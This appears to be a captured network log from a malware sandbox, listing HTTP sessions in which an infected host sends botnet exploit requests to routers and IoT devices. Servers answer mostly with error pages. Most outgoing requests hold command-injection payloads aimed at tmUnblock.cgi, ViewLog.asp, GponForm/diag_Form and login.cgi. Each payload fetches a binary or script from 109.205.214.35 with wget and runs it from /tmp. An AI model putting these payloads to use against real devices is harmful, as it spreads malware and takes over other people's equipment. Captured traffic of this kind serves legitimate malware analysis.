Mar 21, 2024 05:17:20.253343105 CET	1041	IN	HTTP/1.1 404 Not Found Date: Thu, 21 Mar 2024 04:17:20 GMT Server: Apache Content-Length: 315 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 48 54 54 50 2f 31 2e 31 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0d 0a 44 61 74 65 3a 20 54 68 75 2c 20 32 31 20 4d 61 72 20 32 30 32 34 20 30 34 3a 31 37 3a 32 30 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 33 34 37 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 0d 0a 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>HTTP/1.1 400 Bad RequestDate: Thu, 21 Mar 2024 04:17:20 GMTServer: ApacheContent-Length: 347Connection: closeContent-Type: text/html; charset=iso-8859-1<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><p>Additionally, a 400 Bad Requesterror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
367	192.168.2.23	59086	98.148.91.215	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:20.113440037 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:17:20.666321039 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
368	192.168.2.23	51084	206.202.178.28	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:20.250416040 CET	423	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:17:20.418483019 CET	201	IN	HTTP/1.1 302 Object moved Location: https://127.0.0.1:443/cgi-bin/ViewLog.asp Content-Length: 74 Content-Type: text/html Data Raw: 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 4f 62 6a 65 63 74 20 4d 6f 76 65 64 3c 2f 68 31 3e 3c 2f 62 6f 64 79 3e Data Ascii: <head><title>Object moved</title></head><body><h1>Object Moved</h1></body>
Mar 21, 2024 05:17:20.418720961 CET	505	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Thu, 21 Mar 2024 04:17:20 GMT Connection: close Content-Length: 326 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 20 2d 20 49 6e 76 61 6c 69 64 20 56 65 72 62 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 76 65 72 62 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request - Invalid Verb</h2><hr><p>HTTP Error 400. The request verb is invalid.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
369	192.168.2.23	38880	104.211.19.211	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:20.497819901 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:17:20.665956974 CET	525	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Thu, 21 Mar 2024 04:17:20 GMT Connection: close Content-Length: 334 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 20 2d 20 49 6e 76 61 6c 69 64 20 48 6f 73 74 6e 61 6d 65 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 68 6f 73 74 6e 61 6d 65 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request - Invalid Hostname</h2><hr><p>HTTP Error 400. The request hostname is invalid.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
370	192.168.2.23	55500	208.184.169.99	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:20.778655052 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
371	192.168.2.23	52800	184.25.26.58	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:20.792737961 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:17:21.076399088 CET	431	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 209 Expires: Thu, 21 Mar 2024 04:17:20 GMT Date: Thu, 21 Mar 2024 04:17:20 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 35 37 65 33 64 66 61 64 26 23 34 36 3b 31 37 31 30 39 39 34 36 34 30 26 23 34 36 3b 31 64 38 37 31 32 31 39 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.57e3dfad.1710994640.1d871219</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
372	192.168.2.23	38110	212.83.133.47	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:20.826953888 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:17:20.999375105 CET	495	IN	HTTP/1.1 400 Bad Request Date: Thu, 21 Mar 2024 04:17:20 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 301 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 32 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 31 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache/2.4.52 (Ubuntu) Server at 127.0.1.1 Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
373	192.168.2.23	48670	34.200.209.37	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:20.878983021 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:17:21.406256914 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:17:22.048882961 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:17:22.143263102 CET	284	IN	HTTP/1.1 400 Bad Request Server: awselb/2.0 Date: Thu, 21 Mar 2024 04:17:22 GMT Content-Type: text/html Content-Length: 122 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
374	192.168.2.23	55510	92.122.66.127	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:21.001055002 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:17:21.196297884 CET	430	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 208 Expires: Thu, 21 Mar 2024 04:17:21 GMT Date: Thu, 21 Mar 2024 04:17:21 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 63 30 33 34 31 30 36 30 26 23 34 36 3b 31 37 31 30 39 39 34 36 34 31 26 23 34 36 3b 38 61 37 65 35 36 30 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.c0341060.1710994641.8a7e560</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
375	192.168.2.23	38180	18.135.134.68	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:21.001770973 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:17:21.918621063 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:17:22.082096100 CET	284	IN	HTTP/1.1 400 Bad Request Server: awselb/2.0 Date: Thu, 21 Mar 2024 04:17:21 GMT Content-Type: text/html Content-Length: 122 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
376	192.168.2.23	45250	181.177.100.77	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:21.022840023 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
